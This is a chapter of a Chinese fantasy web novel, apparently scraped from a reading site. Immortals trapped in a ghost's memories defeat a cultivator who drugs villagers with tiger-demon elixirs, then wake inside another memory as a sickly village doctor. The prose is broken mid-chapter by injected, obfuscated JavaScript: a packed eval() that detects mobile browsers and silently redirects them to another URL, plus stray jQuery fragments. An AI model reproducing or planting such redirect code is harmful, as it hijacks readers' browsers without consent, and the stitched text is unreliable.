290. 七情七伤求一泪4
作品:《谁家好仙跑去地府打工》 村子不大,与平安村差不多的一条路到底,但村民的日子明显比平安村好上数十倍。
唯一的宽阔道路上,摆了有五六桌的丰盛宴席,五花八门的肉食,新鲜爽口的蔬菜,还有实实在在的大白米饭。
第五茗端坐在凳上,眉头紧拧,嘀咕道:“傍山吃山,此山有妖,没有多少其他猎物,他们倒是挺富足的…”
风有情只喝水不动吃食,道:“瞧那男子下山的熟练度,引修士上仙为他们村猎妖应该不是一回两回了。”
隗晎道:“抓紧时间找雨无伤,旁事与我们无关。”
第五茗放下筷子,道:“我吃不下,要不去找人?”
风有情道:“刚开席我们就走,你们不怕他们怀疑?”
隗晎嘴角一勾,道:“谁说我们都走?”
第五茗笑容诡异,道:“有劳风真君在这里‘吃吃喝喝’了,我们便替你辛苦辛苦,去为你把伴劫的雨无伤找回来。”
风有情水杯一掷,看着悄声离开的二人,心中苦闷:究竟谁伴谁?是本君的劫难吗?
岂有此理。
不曾料到,二人刚走,在一声虎啸声中,一群猛虎从山中走出。
村民纷纷拿起锄具,修士们也顾不得身上的伤口,手握银剑,与村口怒目而视的猛虎对峙。
这时,领众人下山的粗衣男子,跛着脚,不知从何处钻了出来,一边惶恐地挥手,一边似在逃命,嘶喊道:“老虎成精了,恶虎要吃人了…”
霎时,此地的一群虎和一群人,因他这一句话,缠斗在了一起。
一名妇人,体弱不支,被虎掌掀翻至风有情脚下。
妇人口溢鲜血,举起手抓挠道:“救…救命…”
风有情摇头道:“自不量力。”
蹲下身,他探了探妇人的脉搏,随即唤道:“雨无伤?”
妇人木楞道:“什…什么?”
风有情道:“你不是。”
妇人捂住痛处,道:“救…救我…”
风有情别开妇人抓来的手,一边起身离开,一边淡淡地道:“你性命无碍,去找一处地方躲起来,能活。”
妇人一愣,道:“哦…”
这一会儿,见血的人与虎越来越多,因这血气交缠,双方都红了眼,慢慢地开始不分周围是人还是虎,挥剑糊砍,扑掌乱击。
风有情眉头一拧,跳上一张桌子,提高音量道:“雨无伤!”
无人无虎看向他,反而有人有虎受这声音吸引,转头向他攻击而来。
不多时,桌边围满了人和虎。
风有情被迫加入了这场乱斗。
忽然,看着发疯的重任,像是意识到什么,打斗的间隙,风有情余光瞥向散落在地的吃食。
食物有问题!!
他只饮了清水,是以,没有“打”红了眼。
愣神的间隙,前面一名幼虎飞奔了过来,后面亦有一名柔弱的女子在逃避。
风有情没有思索,下意识举剑,朝幼虎的前腿斩去,回身看向那女子,问道:“雨无伤?”
女子双目一顿,一句话没答,又横冲直撞地向旁边的屋落跑去。
风有情叹息一声,自言自语道:“也不是。”
砰——!!
身侧,那只幼虎重重摔在了地上。
风有情一震,入眼是虎口里的半只残腿,和虎心的一把利刃。
嘶嘶嘶…
呲呲呲…
虎眼已闭,气息已绝,虎身下,惨叫着,爬出了那名粗衣男子。
粗衣男子的位置太过巧妙,利刃完美地与他右手契合,更与风有情不察的一角盲区相重。
风有有一瞬踟蹰,随即他低头喃喃道:“雨无伤。”
眼眶猩红,他手中银剑一转,直指那粗衣男子,厉声道:“你想杀我?”
是的。
幼虎并非来袭击风有情,而是远远瞧见了持利刃、悄摸靠近风有情的粗衣男子。幼虎飞奔而来,是为了保护风有情。
粗衣男子一脸惶恐,仿佛不知道风有情在说什么,可怜兮兮道:“恶虎吃人,仙者救命。”
此时,第五茗与隗晎从村内跑了出来,其后,跟了许多丧失理智的人,和披着虎皮的修士。
第五茗一边跑,一边提醒道:“风有情,捉住他,他在用虎妖炼人。他是个邪修!!不要被他的面像骗了!!!”
闻言,风有情银剑立即向前一刺。
粗衣男子反应灵敏,一点也不像一个乡野村夫,完好的双臂在地上一拍,整个人极速向后退去。
嘘——
一声哨响,周围的村民,以及吃了食物的修士,纷纷拥护在他左右,追在第五茗和隗晎身后的人,也调转了方向,径直朝粗衣男子走去。
虎群开始嘶鸣,逼近风有情等人。
它们獠牙尽露,可目光却仅仅只锁住了粗衣男子针对的那一人。
见状,隗晎化出猛虎原身,立于群虎之前,与粗衣男子对峙,争夺猛虎号令权利。
得一瞬空隙,风有情立即腾身脱离那群人的围困,执剑伫立在虎群身后。
粗衣男子吐了一口沫子,道:“你们是人,又不是虎,好吃好喝地喂你们,竟是和它们一样地不听话。”
第五茗“呸”了一声,道:“谁吃你的脏东西了!张口就会诬赖人!!还有!!我们是人,不是你的宠物,你说什么胡话呢!”
粗衣男子恍然大悟道:“难怪…难怪只有你们三人不听号令。”
第五茗道:“整个村子都在他的控制中,他引了修士前来,上山猎虎,再以虎入炉,炼制蛊惑人心的东西,把人变成披着虎皮的畜生,让他们能听他差遣。”
不安地看着那群人,她道:“雨无伤指不定就在其中,”
风有情垂眸道:“雨无伤死了。”
第五茗惊道:“死了?”
目光在地上的尸体中搜寻,她问道:“雨无伤在哪里?”
风有情指了指第五茗身后的一具幼虎尸身,道:“那里。”
第五茗看着那软哒哒的一具肉身,愁苦道:“雨无伤不在,这魂忆没用了,看来只能等这段魂忆的主人死了,我们出去…风有情!他是人,你动作这么快…不对,你打算了解他,可是为了替雨无伤报仇?”
群虎和粗衣男子还在认真听第五茗唠叨的时候,风有情已经一个跃身,穿过重重人群,一剑刺进了粗衣男子的心口。
风有情心口一堵,沉声道:“不是因为她,这男子本就是祸源,灭他,只不过是在消祸。”
“同在山上帮这群修士猎杀虎妖,无甚区别。”
第五茗道:“道理倒是这么个道理,你没心里负担就成,反正这里也仅是一只小鬼的回忆,不足碍。”
粗衣男子却比他们认真得多,神情震骇,不相信地道:“我就这么死了?”
第五茗下意识道:“司命府就是喜欢写这些出其不意,你死得很正常,安心去吧,不对,你早就死了,安心睡吧,这记忆留在忘川河挺好的。”
随着周遭景色变化,两人两虎变化模样,回到了那幽蓝的湖底。
记忆沉睡,这一盏水灯的星火也耗尽了。
风有情脸色沉重,绕隗晎身旁转动,对倒在地上的雨无伤伸出手,道:“本君在里面唤你的时候,为什么不回应?”
雨无伤委屈道:“我叫了,你没听见。”
群虎嘶嚎,她一只幼虎,声音自然是被吞没在其中了。
风有情道:“下次别犯傻,我们来这里是为你取伤情泪,你顾好自己,别人不用你保护。”
雨无伤道:“我知道了…”
她打开了风有情的手,准备自己起身,谁知一只脚卡在了墓碑缝间,一个不察,她起身的同时,瞬间向后仰去。
风有情反应及时,一手捞起雨无伤,顺带一个旋身,将人向上推去,然而,水中不同地面,他脚下失稳,换成他往后倒下。
雨无伤没来及脱离风有情的怀抱,便被抱着,一起朝前扑去。
第五茗见状,大步向前,提住了雨无伤的领子,另一手因有隗晎拉住,是以,四人以奇怪的一人倒一人拉扯的姿势,僵直在半空。
风有情道:“没事吧?”
雨无伤反问道:“你呢?”
第五茗兴奋道:“没事没事,我拉住你们了。”
隗晎脸色却不大好,视线向风有情身后看去,道:“都别松手,风真君的衣袍碰到了一盏水灯。”
“啊?”
“啊。”
“啊!!”
三道惊呼喊出的瞬间,四人一刹那,全被吸进了水灯的记忆里。
依旧是白光一闪,景色慢慢地发生了变化。
没有喧嚣,这是一间小院子。
没有柴门,宽阔的山野,却还是用枯竹稀稀松松圈了一个院落。
没有石板路,长满花草的院子中,有一道黄土小道,蜿蜒而去,便到了院中那几间能遮风避雨的草屋。
没有水井,不大的地方,倒是有一条活溪从院中穿过,时不时有小鱼小虾跳出水面。
没有的东西太多,然而,院子的一角,碍眼的有一座四面透风的草棚。
棚下放了许多木架,架子上的簸箕里,是院中晒干的花草,最右面,有一排土灶,灶上“咕噜咕噜”,有五六只瓦罐在扑腾热气。
除开这些,正中还有一方躺椅,椅旁的长桌中有三盆小苗。
认真观察,可以看见三株小苗长出了一根细细的茎丝,最边缘一株小苗的茎丝,还有一根缠绕在了午睡的男子尾指。
风有情猛然睁开眼,看着面前这一切,腾地从躺椅上站了起来,翻屋找院地搜寻了一番,
回到棚下,一边抠着脑袋,他一边盯着空闲的手,愁闷道:“上一回进去的时候,是同时出现在一个地方,这一次,怎么不一样了?”
抬头看了一圈,他喃喃道:“人呢?”
忽地,他注意到尾指上一圈茎丝,脑海中“叮——”了一声,他蹲下身,仔细打量长桌上的三株小苗,抿了抿唇,道:“你们…是你们!”
小心翼翼地伸出右手食指,准备戳一戳面前的东西,看看反应,倏地,他食指离小苗只有一毫的距离时,他停了下来,心道:万一摸错人了怎么办?
摇了摇头,指尖一折,立即否定了这个做法。
他双手撑在桌上,打量着三株小苗的区别。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930390|171191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
良久,他叹息道:“算了,分不出来,你们先好好养着吧,我去想想有没有什么办法帮你们恢复人身,或者想个法子与你们通灵。”
这一番折腾,院子外,不知何时,围上了一群村民。
“咳咳咳…”
一名六旬老者,打头而立,站于众人之前。
等得有些久了,他独身踏入了竹篱内,站定在竹篱旁,假咳了一阵提醒院中人。
见棚下的人看了过来,他欠身一礼,唤道:“朱医师,那三株宝物可开花了?时日已经过去一大半,今日能摘花取蜜吗?再有半年,全村便没有希望了。”
风有情蒙头蒙脑,顾左言他,道:“你们生病了?”
老者向前挪了一步,见风有情没有反应,他道:“朱医师忘了吗?我们是中毒了?”
风有情一怔,望向院外重叠站立,有长有幼,有壮有弱,有男有女的一群人,道:“全村?”
老者又上前了一步,点点头道:“对啊,村里唯一的一口井,无缘无故飘入了一朵四季黄泉,我们都喝过井水才发现水不干净了,那时,村民已都中招了。”
四季黄泉,顾名思义,一年嗝小命。
这种东西人间很难见,往往是仙君们渡生死劫时才会安排,为的是让仙君们按时按点地迎劫归仙。
风有情额角一排黑线,忽然明白当年天帝为何一定要去方丈山,也明白了为何天帝要求一神格司命了。
这司命府当真是太无能了。
须臾,风有情问道:“你们误食四季黄泉有半年了?”
老者再往前走了一步,道:“是啊,不然大伙儿也不敢跑来叨扰你。”
风有情神思一顿,抬手指向自己,道:“我…可也喝了那水?”
老者深吸一口气,大跨了一步,探头偷瞧风有情的举动,见对面人陷入沉思,脚步霎时灵活,猛地往前走去,竟不知不觉,走到了风有情跟前。
听见风有情再度问话,他一顿,抬头看向近在咫尺的人,尴尬笑道:“你是村里唯一的医者,自是也喝了水的,不然也不会这般辛苦地帮我们啊。”
蓦地,老者伸出一指,在那三株幼苗上挨个点了点,道:“原来还没有开花啊。”
他的举动把风有情吓了一大跳。
担心老者伤到第五茗三人,风有情拂袖挡退老者,怒道:“你何时进来的?谁允许你碰他们了?”
老者言辞闪烁道:“都半年了,你一直不来村里,我们也是担心…”
末了,他道:“即是还没长大开花,那我便领了他们回去,待它们开花了,我们再来。”
他们?
风有情愣愣地盯向面前的三株小苗,身躯摇晃,从棚下一跌一撞跑了出来,一手紧住了老者的领口,质问道:“你是说解药是他们?”
老者轻轻挣扎了一下,仿佛怕把对面的风有情误伤一般,小心翼翼道:“朱…朱医师,你怎么了?是又犯了爱花爱草的毛病吗?醒醒啊…它们只是一株花草,我们是人啊,你万不要犯糊涂,它们不懂你的怜惜,保下全村也是你许下的诺言啊。”
风有情一震,五指松了松,冷静下来,放开了老者,别过身道:“你们先回去吧。”
老者弯腰粗喘道:“好…好的,朱医师有什么需要,只管唤守在外面的大福。”
风有情倏地回神,额角抽搐,指向院外,道:“大福?什么意思?!”
应声,外面的人不知道里面是在争执,十几名青年壮汉站了出来,齐声道:“朱医师,你唤我们?”
风有情看了过去,笑道:“原是你们拘了医师在这里养救命药?”
老者仓皇道:“朱医师你别误会,我们没有那份意思,是你自己说自己精神不太正常,让我们守着你的。”
风有情破口道:“我正不正常,关你们何事!!”
老者似陷进了地下,面对如此的情况,脚下居然稳稳地站住了,一点也没有后退。
他满眼乞怜,道:“你别动怒,你身体不大好,别激动…”
风有情本想再反驳一句,一口气堵在喉间,唇齿见瞬间弥漫了血腥气,不多时,一口污血呕了出来。
他心道:这幅身体…是破的?!
老者担忧道:“朱医师你还好吧?你得尽快把花养出来啊,你身负顽疾,比我们更需要它们。”
风有情一手抚按心口,一手指向院外,羸弱道:“走…你们都走…”
老者连连揖礼,道:“好好…好,我们离开,你万要保重身体,全村的希望都在你这里了。”
说到做到,他们如言,从这座小院离开了。
风有情拖着身体躺回了棚下的躺椅,道:“这都什么事啊…不是取伤情泪吗?”
他一边修养,一边探量着这幅身体。
最终,他放弃了用这副身体带“三人”逃跑的想法。
本以为要守着三株小苗慢慢渡过余下半年,再与那一村人拼命,不曾料到,风有情睡了一日,第二日睁眼,三株小苗不仅长大了,还意外地都开了花。
五片白白的小花瓣,普通得不能再普通,若不是被栽种在瓦盆中,不知道的还会以为是哪位没欣赏水平的人,随意从路边采回来的。

